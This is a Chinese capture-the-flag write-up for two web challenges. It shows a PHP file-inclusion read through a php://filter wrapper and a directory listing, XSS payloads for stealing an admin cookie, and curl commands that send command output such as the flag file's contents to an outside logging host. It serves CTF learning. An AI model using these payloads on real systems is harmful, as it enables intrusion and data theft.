西湖论剑预选赛 Web部分题目解析
babyt3
签到题,题目首先给出提示
在参数上加上file,则会获得下一个提示
1 2
| include $_GET['file'] <!--hint: ZGlyLnBocA== -->
|
解密后是dir.php
使用php伪协议包含获取dir.php里的内容
1 2 3 4 5 6 7 8 9 10 11 12
| http://61.164.47.198:10000/?file=php://filter/read=convert.base64-encode/resource=./dir.php
HTTP/1.1 200 OK Date: Thu, 11 Apr 2019 08:04:12 GMT Server: Apache/2.4.18 (Ubuntu) Vary: Accept-Encoding Content-Length: 149 Connection: close Content-Type: text/html; charset=UTF-8
include $_GET['file']PD9waHAKJGEgPSBAJF9HRVRbJ2RpciddOwppZighJGEpewokYSA9ICcvdG1wJzsKfQp2YXJfZHVtcChzY2FuZGlyKCRhKSk7Cg== <!--hint: ZGlyLnBocA== -->
|
解密
1 2 3 4 5 6
| <?php $a = @$_GET['dir']; if(!$a){ $a = '/tmp'; } var_dump(scandir($a));
|
遍历后发现flag在根目录下,直接读取
BreakOut
随便输入账号密码登陆
登陆后是一个留言界面,可以像管理员报告漏洞
1 2 3 4 5
|
如果你发现了该站点的bug,请将页面的URL提交给管理员,管理员会加上用户的token去登陆查验。
感谢您的配合、
|
之后执行代码界面需要管理员权限,很显然是XSS打管理员Cookie然后命令执行了
存在过滤,可以使用
1 2 3 4
| <img src=x onerror =alert(1)/> 或者 <iframe src=javascript:alert(1);></iframe>
|
执行命令的时候采用HTTP盲注入
用ceye平台
1 2
| curl http://***/`ls /|grep flag` #找到带flag的文件 curl http://***/`cat flag`
|
猜猜flag是什么
懒得写了,休息休息
??
懒得写了,休息休息
你是我患得患失的梦,我是你可有可无的人。